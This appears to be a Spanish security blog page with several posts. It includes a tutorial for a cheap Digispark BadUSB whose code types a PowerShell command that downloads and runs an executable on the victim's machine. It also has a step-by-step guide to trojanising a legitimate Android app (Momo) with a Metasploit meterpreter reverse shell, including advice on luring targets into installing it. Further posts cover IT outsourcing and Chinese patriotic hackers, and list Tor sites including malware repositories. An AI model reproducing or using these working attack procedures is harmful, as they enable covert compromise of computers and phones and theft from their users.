BadUSB Ultra Low Cost

julio 10, 2017 8 comentarios

Sobre los autores: Ernesto Sanchez (@ernesto_xload) y Joel Serna(@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

Buenos días a todos!

Teníamos pensado hacer 3 artículos sobre distintos BadUSB: (“Introducción”, “Low-cost” y “Soluciones profesionales”), pero dentro de nuestra manía de empezar la casa por el tejado, hemos decidido empezar con un artículo de ultra low cost, mostrando como hacer un BadUSB por 1 euro aproximadamente, que en muchas ocasiones podrá hacer las mismas funciones que el famoso USB Rubber Ducky de Hack5 (44,95 US$ + envío), si, sabemos que puede parecer una locura, pero funciona.

La idea, básica y extremadamente resumida de BadUSB, por si alguien no sabe de que va el asunto aún, es emular un teclado sobre un dispositivo USB normal, para poder emular el comportamiento del usuario, y por tanto poder ejecutar comandos y programas en el sistema atacado, sin el consentimiento de la víctima.

Hemos utilizado como hardware el Digistump Digispark, éste dispositivo utiliza el microcontrolador Attiny85 de Microchip. Dicho microcontrolador es un micro de 8 bits que nos ofrece: 8kb de memoria flash, 512b EEPROM, 512b SRAM y 6 puertos I/O (Enlace al datasheet completo). De este dispositivo se pueden encontrar múltiples clones, con distintos tipos puertos USB, realizados en China en páginas como Aliexpress o Ebay por precios que rondan 1 euro.

Configuración e instalación del software

Una vez hemos obtenido el dispositivo, tenemos que tener en cuenta que, primero tenemos que instalar el IDE de Arduino y también los drivers en el caso de Windows (Aqui).

NOTA: no es aconsejable instalar el IDE de Arduino desde repositorios de nuestra distribución de Linux, suele ser una versión algo obsoleta y puede darnos problemas. Destacar que el funcionamiento del dispositivo es ligeramente distinto a cualquier otro Arduino con el que hayamos trabajado anteriormente y necesita ser desconectado y conectado para ser reprogramado (Hay disponible un dispositivo para hacer ésto por hardware mediante un interruptor disponible aquí, pero no creemos que sea tanta molestia conectar y desconectar el dispositivo cada vez). Lo primero es tener la última versión del arduino IDE (Aquí) y asegurarnos que está todo actualizado.

El segundo paso es bajar el paquete de compatibilidad con ésta placa y el IDE de Arduino para poder trabajar correctamente con ella, para ello tenemos que ir a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente (si tenemos alguna no es incompatible):

http://digistump.com/package_digistump_index.json

Simplemente aceptamos y vamos a Herramientas -> Placa -> Gestor de Tarjetas, aquí buscamos Digistump AVR Boards y procedemos a su instalación.

En caso de usar linux, es posible que tengas que tener la versión actual y legacy de libusb, así como añadir unas reglas nuevas de udev, hay un tutorial de Digistump aquí. Comentar que las librerías originales de Digistump solo poseen soporte para emular teclados con el layout en_US (Inglés de EEUU), con lo que es muy aconsejable descargar e instalar la librería con soporte para otros idiomas, disponible aquí.

Hola Mundo

Lo mas clásico, cuando hablamos de microcontroladores, es hacer un blinking led como “Hola mundo”, ésto es un programa que haga parpadear un led a una frecuencia determinada, como en nuestro caso nuestro dispositivo puede comunicarse con algo mas que un led vamos a hacer un “Hola mundo” mediante teclado USB. Tenemos que abrir el IDE de Arduino que hemos descargado y configurado anteriormente, también nos tenemos que asegurar que hemos configurado la placa correcta, para ello vamos a Herramientas -> Placa y seleccionamos “Digisparck (Default – 16.5 mhz)” y ningún puerto.

Como código escribiremos el siguiente:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.delay(5000);
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(250);
  DigiKeyboard.println(F("notepad"));
  delay(250);
  DigiKeyboard.println(F("Hola mundo!"));
  while(1);
}

El código es muy simple, pero vamos a explicarlo mas detalladamente:

  • #define kbd_es_es : Configura el mapa del teclado, en nuestro caso español de España.
  • #include “DigiKeyboard.h” : Incluye la librería para emulación de teclado.
  • DigiKeyboard.delay(5000) : Espera 5 segundos (por posible instalación de drivers, etc …)
  • DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT) : Pulsa la tecla de Windows + R que hace que aparezca la ventana de ejecutar comando en los sistemas Windows, para los sistemas con Gnome deberiamos enviar KEY_F2 y MOD_ALT_LEFT (Alt + F2)
  • DigiKeyboard.println(F(“notepad”)) : Envía la cadena notepad, seguida de la tecla enter, en gnome podemos poner gedit.
  • DigiKeyboard.println(F(“Hola mundo!”)) : Envía la cadena “Hola mundo” seguida de enter.
  • while(1) : Termina el programa, ya que la sección loop se ejecuta continuamente en bucle.
  • delay(250) : Se han incluido varios a lo largo del código, para dar tiempo a que el sistema operativo anfitrión ejecute la orden anterior.

Lo siguiente es compilar y subir el código, primero podemos pulsar el botón de Verificar para asegurarnos de que no existe ningún error y después pulsar el botón Subir, NOTA: Sin conectar el dispositivo aún. A los pocos segundos, el IDE nos pedirá que conectemos el dispositivo y lo reprogramará como podemos ver en la siguiente captura. Ya está nuestro “hola mundo”, a los pocos segundos ejecutará el código, dicho código está guardado en la flash del Attiny85 con lo que se ejecutará cada vez que conectemos el dispositivo a un ordenador.

Haciendo maldades

Una vez hemos hecho el “Hola mundo” y utilizando el mismo esquema, podemos hacer muchas otras tareas de forma automática, y no todas “buenas” (de ahí el nombre de BadUSB), por ejemplo el siguiente código descarga mediante Powershell un archivo desde una URL y lo ejecuta:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  pinMode(1, OUTPUT);
  DigiKeyboard.delay(10000);
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.print(F("powershell "));
  DigiKeyboard.print(F("powershell Import-Module BitsTransfer;"));
  DigiKeyboard.print(F("Start-BitsTransfer -Source \"http://ruta/fichero.exe\" -Destination \"%TEMP%\\fichero.exe\";"));
  DigiKeyboard.println(F("Start-Process \"%TEMP%\\fichero.exe\""));
  
  while(1){
    digitalWrite(1, HIGH);
    delay(1000);
    digitalWrite(1, LOW);
    delay(1000);
  }
}

Se puede observar que al final se ha incluido el código necesario para que el led parpadee y sepamos que la tarea se ha completado.

A partir de aquí el límite es la imaginación de cada uno, como ejemplo el payload que mencionan Álvaro Nuñez-Romero y Santiago Hernández en su artículo para el blog “un informático en el lado del mal” titulado Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows #Arduino

También mencionar a KALRONG en su artículo ATtiny85 el famoso Cheap Rubber Ducky, podemos encontrar aquí un conversor de scripts de USB Rubber Ducky al Attiny85, aunque nosotros pensamos que es mejor opción escribirlos enteros de forma nativa por optimización y depuración de los mismos.

Un saludo y hasta la próxima (o próximas)!

Cómo inyectar malware en una aplicación Android legítima.

mayo 22, 2017 3 comentarios

En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.

1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.

>msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 9295 bytes

Saved as: /home/adastra/meterpreter.apk

2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/

Primero la app legítima

>apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Baksmaling classes2.dex…

I: Baksmaling classes3.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

Y luego, la APK generada por Metasploit Framework.

>apktool d -f -o meterpreterDecompiled meterpreter.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:

<meterpreter_apk>/smali

En el directorio:

<momo_apk>/smali

De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.

4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.

Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:

<action android:name=”android.intent.action.MAIN”/>

<category android:name=”android.intent.category.LAUNCHER”/>

El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”

A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en

<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity

5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:

;->onCreate(Landroid/os/Bundle;)V

En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen

 

6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:

7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool

>apktool b original/originalDecompiled/

I: Using Apktool 2.1.0-a7535f-SNAPSHOT

I: Checking whether sources has changed…

I: Smaling smali folder into classes.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes3 folder into classes3.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes2 folder into classes2.dex…

I: Checking whether resources has changed…

I: Building resources…

I: Copying libs… (/lib)

I: Building apk file…

I: Copying unknown files/dir…

El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist

8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.

>jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey

En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.

9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.

Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.

Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.

Un saludo y Happy Hack!
Adastra.

¿La externalización de servicios IT quita puestos de trabajo?

abril 28, 2017 3 comentarios
Entrada escrita por: Carmelo “Kinjo” Toledo

Hace unos días me encontraba tomando un aperitivo junto con un colega, mientras le explicaba que las empresas, y muy especialmente las PYME podían, incluso en tiempos de crisis, mejorar su infraestructura IT mediante la subcontratación de dichos servicios a empresas especializadas, como por ejemplo THW Consulting

Mi colega, me comentó que desde su punto de vista, estábamos disminuyendo la posibilidad a otros profesionales de encontrar puestos de trabajo.
¿Creen ustedes que la externalización de servicios TIC resta puestos de trabajo?
No me estoy refiriendo en estos momentos a las grandes empresas que cuentan con departamentos técnicos propios bien organizados, sino a aquellas PYME, cuyo “core business” está alejado de la tecnología, pero que son usuarios de la misma, no solamente a través de ordenadores o estaciones de trabajo, sino, en alguna medida también, mediante servidores de datos, web, y, por supuesto necesitados de una revisión completa en materia de ciberseguridad.
Generalmente estas organizaciones, pese a necesitarla casi tanto como el agua, no suelen apreciar la calidad en las implementaciones tecnológicas, y con suerte contratan a algún chico, por un salario que en ocasiones roza el raquitismo (en comparación con el resto de empleados), que inmediatamente recibe el epíteto de “El informático” e ipso facto se le atribuye la responsabilidad de gestionar todo aquello que funcione con electricidad dentro de la empresa, desde los servidores (en caso de que los tengan), la gestión de la “página web”, los PC, las calculadoras, el papel que se atasca de la impresora, la linea de internet, la centralita de telefonía (en caso de tenerla), pasando por la máquina del aire acondicionado, el cableado, la máquina del café, hasta en ocasiones he visto que a este peón se le asignan tareas de mensajero… todo ello, por supuesto, sin apoyo, sin formación continuada, sin posibilidad de promoción, sin mejora salarial y con la máxima de “aquí se sabe cuando se entra pero no cuando se sale”
Esta es en mayor o menor medida la “calidad” de vida de… “El informático” de las PYME españolas. Lo más irónico es que el empresario tiende a pensar que… como “El informático” está haciendo lo que le gusta, con eso ya está lo suficientemente pagado, y la responsabilidad que recae sobre sus hombros no se ve reflejada en su nómina.
Principalmente es este tipo de puesto de trabajo el que entiendo debería desaparecer, y esos profesionales deberían redirigir su vida profesional a empresas de outsourcing en las cuales se aprecien y valoren sus habilidades, y en donde puedan desplegar su trayectoria laboral en entornos heterogéneos que les hagan crecer como profesionales, y eventualmente, con el tiempo como especialistas. En esta situación, estos profesionales, sí que podrían gozar de una progresión en su trabajo.
Si la cultura de la externalización se extendiera en el seno de las PYME, si, quizás desaparecería el ecléctico puesto de “El informático”, sería más fácil que los profesionales hicieran carrera como técnicos o ingenieros de sistemas, consultores tecnológicos, ingenieros de software, cada uno según su preparación y su motivación real.
Las PYME también se verían beneficiadas por un servicio de calidad, y seguramente aprenderían a apreciar la tecnología y sus “hacedores”, que pasarían de ser considerados como “el chico de los ordenadores” a profesionales TIC, tecnólogos, ingenieros, etc.
Es todo una cuestión cultural y educacional.
Autor: Carmelo “Kinjo” Toledo

Un breve análisis sobre la censura de Internet en China y los Hackers patrióticos

abril 26, 2017 Deja un comentario

Hoy en día es bastante habitual encontrarnos con que los administradores de sistemas y personas relacionadas con al seguridad informática apliquen restricciones cuando el sistema que administran y/o defienden, es consultado por una dirección IP cuyo país es China. El motivo de esto es que la mayoría de los ataques que se realizan en internet provienen principalmente de China y Rusia y aunque esto no es algo nuevo para muchos y se ha convertido en algo que “es así por que sí”, merece la pena entender el motivo de esta situación y en éste artículo hablaré sobre algunos hechos y cuestiones sobre el gobierno chino y los hackers que, a lo mejor, no sabias. Espero que lo disfrutes.
El gobierno chino ha demostrado ser completamente hermético con respecto a sus políticas de acceso a la información, bloqueando miles de sitios en Internet, impidiendo el uso de ciertas herramientas y manteniendo un control estricto sobre las opiniones expresadas públicamente por parte de los ciudadanos y turistas del país. A diferencia de otros países del mundo occidental, el gobierno chino pide a sus ciudadanos compromiso y apoyo, siendo uno de los deberes de cualquier persona que resida en la república popular de China, de hecho, aunque nos pueda resultar algo extraño o difícil de creer, se anima a estudiantes, profesionales y a cualquier persona residente en China a emprender ataques contra los enemigos de la república siendo éste su deber patriótico y aunque estos colectivos de personas no son empleados del gobierno, son ciudadanos corrientes con buenos niveles de conocimientos que tienen la capacidad de coordinar y ejecutar ataques contra sistemas en países extranjeros sin mayores restricciones legales, algo que en USA o Europa es evidentemente perseguido y penado. A estas personas se les conoce como “hackers patrióticos” y se caracterizan por ejecutar ataques de DDoS, web defacement, envío de malware en correos electrónicos y ataques similares. Se trata de actividades que pueden ser llevadas a cabo por cualquier ciudadano, incluyendo evidentemente, ciberdelincuentes. Actualmente existen pocos estudios sobre las relaciones entre los hackers patrióticos y el gobierno de la república popular China, no obstante, la investigación más completa que se ha registrado a la fecha de redactar éste artículo ha dado lugar al libro que recibe el título “The Dark Visitor” de Scott J. Henderson en el cual el autor expone las principales características culturales, políticas e incluso filosóficas sobre el cómo y el por qué los hackers patrióticos chinos planean y elaboran ataques contra sistemas ubicados en países extranjeros. En dicho libro se habla sobre el fuerte sentido de pertenencia y nacionalismo del pueblo chino y cómo es considerado un acto justo y honorable defender a su país realizando ataques contra entidades extranjeras que debido a sus actividades políticas o económicas, pueden suponer una amenaza contra los intereses de la nación o su modo de vida, motivo por el cual son considerados enemigos de la república.

Evidentemente, los atacantes pueden aprovechar el hecho de que el gobierno de dicho país apoya las acciones de los ciudadanos que actúan como hackers patrióticos y esto da lugar a una situación muy beneficiosa para quienes desean realizar ataques contra cualquier sistema en Internet (fuera de China obviamente).

Como se ha explicado anteriormente, es probable que el principal objetivo de un grupo de ciberdelincuentes en China, sea el de ampararse en el apoyo que el gobierno extiende a los “hackers patrióticos” para ejecutar ataques que vayan de la mano con la estrategia ofensiva del gobierno contra países que podría considerar “enemigos” ahora o en un futuro y evidentemente, también ejecutar pruebas de penetración avanzadas contra los objetivos del grupo de atacantes. Es importante tener en cuenta que el gobierno chino tiene una política muy clara con respecto a la imagen y las opiniones que se expresan en cualquier tipo de medio contra ellos y en consecuencia, dichas políticas son apoyadas por sistemas de vigilancia masivos que intentan detectar y censurar cualquier critica u opinión desfavorable, siendo estos los tipos de “crimines” más perseguidos y severamente castigados. Los ataques informáticos también son  vigilados, pero solamente aquellos que puedan suponer una amenaza para sus intereses y no son tan perseguidos o castigados cuando el destino de dichos ataques está relacionado con un país extranjero, dando lugar al hecho de que China sea un sitio idóneo para el establecimiento y posterior ejecución de ataques contra cualquier objetivo en Europa, Estados Unidos o cualquier otro lugar del mundo.

Regulaciones, censura y monitorización: El gran “firewall de China”.

Además de lo explicado anteriormente, una de las características más llamativas del aparato legislativo chino tiene que ver con las regulaciones impuestas sobre el uso de Internet por parte de los ciudadanos y turistas extranjeros. El gran “firewall de China” es la forma coloquial en la que se conoce a las medidas instauradas en el país para impedir el uso de ciertos servicios y aplicaciones que no se encuentran permitidas, especialmente aquellas aplicaciones diseñadas para compartir información o incluso opiniones fuera del “radar” del gobierno. Por este motivo, cuando visitamos cualquier región de la China continental nos encontramos con que servicios comunes como Facebook, Instagram, Twitter, entre otros, se encuentran bloqueados. Como se comentaba anteriormente, uno de los crímenes más perseguidos consiste precisamente en expresar opiniones desfavorables o difamatorias contra el gobierno Chino y evidentemente, si dichas opiniones se expresan en espacios públicos en Internet y tienen un calado importante o se vuelven “virales” la persona o grupo que ha diseminado dicho mensaje tendrá que afrontar consecuencias legales graves, independiente de si se trata de un turista o una persona que reside en el país. El gobierno chino no tiene un control directo sobre lo que un usuario utilizando redes como Facebook puede expresar y mucho menos tiene la posibilidad de censurarlo, éste es uno de los motivos por los que éste tipo de servicios se encuentran bloqueados en China, pero además existe un motivo adicional y es el económico. “Cerrar las puertas” a empresas extranjeras supone inmensos beneficios a empresas locales que prestan exactamente los mismos tipos de servicios, teniendo un nicho de mercado de millones de usuarios que pueden utilizar sus aplicaciones y herramientas para interactuar con otras personas o compartir información, además, gracias a los acuerdos que empresas como Baidu o Tencent tienen con el gobierno chino, la monitorización y la censura de los contenidos es mucho más efectiva.

Aunque las redes sociales más populares en occidente, tales como Facebook, Twitter, Instagram, entre otras se encuentran restringidas en China, la población utiliza múltiples aplicaciones, plataformas y servicios para comunicarse. Evidentemente dichos servicios se encuentran bajo vigilancia constante para mantener el control , siendo de especial interés cualquier tipo de comentario negativo contra el gobierno o sus integrantes.

Los principales servicios de mensajería y para la creación de perfiles sociales son Weixin/WeChat, Momo y QQ, los cuales tienen características bastante particulares, además de que soportan millones de usuarios registrados que las utilizan diariamente. Por otro lado, a diferencia otros gobiernos del mundo, la independencia tecnológica extranjera es uno de los objetivos más importantes del gobierno chino, ya que consideran que el riesgo de que el software que utilizan contenga puertas traseras o cualquier tipo de rutina maliciosa para el espionaje es una amenaza seria y real. En este sentido, gracias al apoyo del gobierno junto con algunas instituciones del mundo académico ha nacido el famoso COS el cual actualmente es utilizado en más de un 80% de los dispositivos en China y además, el sistema Kylin es una distribución basada en Ubuntu que actualmente es muy habitual en los ordenadores, tablets y otros dispositivos móviles en China. Se trata de una distribución que puede descargarse libremente desde su sitio web oficial y que es fácil de instalar y configurar, del mismo modo que cualquier sistema basado en GNU/Linux moderno. El gobierno anima el uso de tecnologías propias desarrolladas “en casa” y de está forma evitar cualquier tipo de amenaza que provenga del extranjero (como puede ser un sistema windows, por ejemplo, aunque bien es cierto que esto ya no pasa en el mundo occidental y windows ya no lo usa nadie, verdad? verdad?! ;-)).

Hackers Patrióticos

El gobierno chino comprende el poder de la unidad y como, difundiendo mensajes de carácter nacionalista puede mantener su sistema social y político. Las personas en China desde muy temprana edad comienzan a tener un sentido de pertenencia poco frecuente en otros países y aceptan las normas impuestas sin mayores problemas, ya que consideran que son medidas pensadas por y para el beneficio de todos. Desde muy temprana edad, a las personas se les inculca una serie de valores que definen sus rasgos socioculturales y relación con el mundo exterior, los cuales se centran muy especialmente en el respeto, la lealtad y la colaboración. Algunos de esos valores suelen ser muy distintos a los de las culturas occidentales, especialmente en el continente Europeo en donde se premia e impulsa la competitividad. Para entender el fenómeno de los “hackers patrióticos” hay que asimilar el hecho de que nuestro mundo ha cambiado muy rápidamente en las últimas décadas, durante la segunda guerra mundial y la confrontación con la Unión Soviética que dio lugar a la guerra fría, el poder de una nación se determinaba por su fuerza militar, sin embargo en los tiempos que corren actualmente, el poder militar ya no es el principal factor de superioridad de una nación, ahora otras cuestiones como la economía, la ciencia y los avances tecnológicos son cruciales para definir el poder de una nación sobre otra en términos de fuerza e influencia. Como muchos de vosotros ya sabréis, hoy en día los gobiernos valoran muchísimo el talento y su capacidad de ejecutar diferentes tipos de ataques contra instalaciones o sistemas “enemigos”, por éste motivo ahora surgen equipos destinados a la “ciberdefensa” o el “ciberataque” que trabajan directamente con el gobierno en cuestión y aunque desde una perspectiva occidental, la idea de ejecutar ataques contra sistemas extranjeros o espionaje activo contra otra nación deben ser actividades planificadas y dirigidas por iniciativa propia del gobierno, en el caso de China el enfoque aplicado es completamente distinto, los lazos que se forman entre las autoridades y civiles, profesionales o freelances son difíciles de entender desde nuestra perspectiva occidental, ya que como se ha dicho anteriormente, el gobierno chino fomenta la unidad en todos los aspectos y se espera que los ciudadanos asuman un rol activo en la defensa de su país tanto en tiempos de conflicto como en tiempos de paz. Por este motivo, surgen y se disuelven constantemente grupos como “Red Hacker Alliance”, “Green Army”, “China Eagle Union”, “Honker Union”, entre otros, todos conformados por profesionales, estudiantes y civiles que no tienen una relación directa con el gobierno, pero que con sus actividades apoyan el plan estratégico nacional, tanto es así que la PLA ha enfatizado en múltiples ocasiones la necesidad de una integración entre los roles militar y civil con el fin de afrontar de una forma mucho más efectiva guerras futuras.
Como podemos apreciar existen 2 enfoques distintos, por un lado el enfoque occidental es reservado, cerrado y solamente permite que los miembros del gobierno o empresas colaboradoras puedan actuar en su nombre mientras que los civiles quedan en un segundo plano. En el enfoque oriental, vemos que aunque el gobierno chino cuenta con más de 2 millones de integrantes que hacen parte de diferentes equipos de ciberdefensa, impulsan a los ciudadanos y simpatizantes a apoyar su estrategia militar y ser parte activa de  ella, dando lugar al fenómeno conocido como “Hackers patrióticos”.

Antes de finalizar con éste breve artículo, para aquellos interesados en la terminología utilizada por hackers e informáticos en China, os dejo un par de imágenes con la relación de los “Han zi” (caracteres chinos) Pinyin y su significado.

Se trata de un análisis muy breve y aunque han faltado muchas cosas que merece la pena mencionar sobre los “hackers patrióticos” y su relación con el gobierno chino, es algo que dejaré para una próxima entrada.

Un saludo y Happy Hack!
Adastra.

Categorías:Hacking Etiquetas: ,

10 Servicios ocultos interesantes en la deep web de TOR – Actualización

abril 24, 2017 1 comentario

Hace algún tiempo escribí unas pocas entradas sobre algunos servicios ocultos en la red de TOR que a mi parecer eran interesantes por la información que ofrecían, sin embargo, estamos hablando de un red que cambia constantemente y los servicios ocultos se crean y se destruyen de una forma bastante rápida, por ese motivo casi ninguno de los enlaces de los post de aquella época funcionan correctamente a día de hoy, así que con el fin de actualizar un poco todo aquello y comentar algunos de los servicios ocultos más interesantes que me he encontrado en las últimas semanas, he decidido escribir éste post con algunos sitios interesantes en la deep web de TOR:

Open Hacking Lab:

Se trata de un blog enfocado completamente a la seguridad ofensiva y técnicas de hacking aplicadas “in the wild”. Se actualiza regularmente y tiene algunos post que en mi opinión son realmente buenos.

Onion: http://4xiz3doafaqvbxjh.onion/

Cerberus Malware Repository:

Como su nombre indica, se trata de un repositorio bastante completo de muestras de malware, categorizadas en secciones y con la posibilidad de descargar el código completo de cada muestra. Resulta muy útil para estudiar sobre cómo se desarrollan éste tipo de programas y también, para analizarlos desde una herramienta como Cuckoo Sandbox.

Onion: http://cerberussssc7cat.onion/index.php

OnionTube:

Permite compartir vídeos anónimamente sobre Tor. Simplemente permite subir vídeos y posteriormente compartirlos a cualquiera partiendo de un enlace generado por oniontube. No se admite contenido ilegal según las reglas y además, cada vídeo subido no se comparte públicamente con todos los usuarios que visitan OnionTube, es necesario conocer la dirección onion del vídeo.

Onion: http://35khdgeiyit26syj.onion/

OnionDir:

Es uno de los directorios de sitios onion más completos y mejor categorizados que hay a la fecha de redactar éste post. No obstante, no filtra contenidos ilegales y cp, con lo cual algunos enlaces pueden ser bastante desagradables. Lo mejor es navegar por las categorías de “Communication”, “Libraries/Wikis”, “Hosting” y otras similares. Suelen haber enlaces a sitios muy interesantes con información útil.

Onion: http://auutwvpt2zktxwng.onion

Hidden Answers:

Se trata de un servicio similar Yahoo Answers, aunque obviamente dado el contexto, las preguntas que formulan los usuarios en ocasiones suelen salirse de lo normal/habitual. Aún así, es interesante ver que muchas de las preguntas formuladas están relacionadas con el hacking y el anonimato.

Onion: http://answerstedhctbek.onion/

TorGuerrillaMail: Se trata de un servicio de correo electrónico temporal, muy útil en el caso de establecer comunicaciones con alguien sin necesidad de dar una dirección de correo real. No es necesario registrarse y una cuenta puede durar hasta 1 hora.

Onion: http://grrmailb3fxpjbwm.onion/

Sinbox:

Otro buen servicio de correo electrónico en la red de TOR, el cual cuenta con una interfaz sencilla pero completamente funcional, además no requiere el uso de Javascript o cookies.

Onion: http://sinbox4irsyaauzo.onion/

TorCH:

Se ha convertido en uno de los buscadores más populares en la deep web ya que cuenta con un directorio de direcciones bastante extenso y un buen motor de búsqueda que permite encontrar servicios ocultos en la web profunda de TOR con los criterios establecidos.

Onion: http://xmh57jrzrnw6insl.onion

0day Forum:

Una vez te registras en éste foro, tienes acceso a una red bastante amplia de usuarios que comentan sobre novedades en el mundo de la seguridad informática, especialmente sobre vulnerabilidades recientes que se estan explotando “in the wild”. También se encuentra en la clearweb: https://0day.su/

Onion: http://qzbkwswfv5k2oj5d.onion

Anoninbox:

Se trata de un servicio de correo electrónico basado en Tor y que (supuestamente) tiene por objetivo brindar buenos niveles de privacidad a sus usuarios.

Onion: http://ncikv3i4qfzwy2qy.onion/

Ya van 10, pero… vamos a incluir un sitio más:

Ex0du$:

Si te interesa el análisis de RATs, Keyloggers, Ransomware y demás programas inofensivos y “user-friendly”, puedes echarle un vistazo al repositorio de ex0du$.

Onion: http://exoduockgfq3ikf7.onion/

 

Se trata simplemente de unos pocos servicios que se encuentran disponibles actualmente, pero con bastante frecuencia hay cambios y es probable que en unas pocas semanas o incluso días, algunos de estos servicios ya no estén disponibles, así que tenerlo en cuenta.

Un saludo y Happy Hack!
Adastra.

Ataques homógrafos

abril 21, 2017 1 comentario

Entrada escrita por “L-Cafe”.
Twitter @L__Cafe
Telegram Nick: lian.rs
En los últimos días se ha hablado mucho de un tipo de ataque de phishing que consiste en sustituir letras de un dominio por caracteres, generalmente cirílicos, que tienen el mismo aspecto a simple vista, pero diferente representación Unicode.

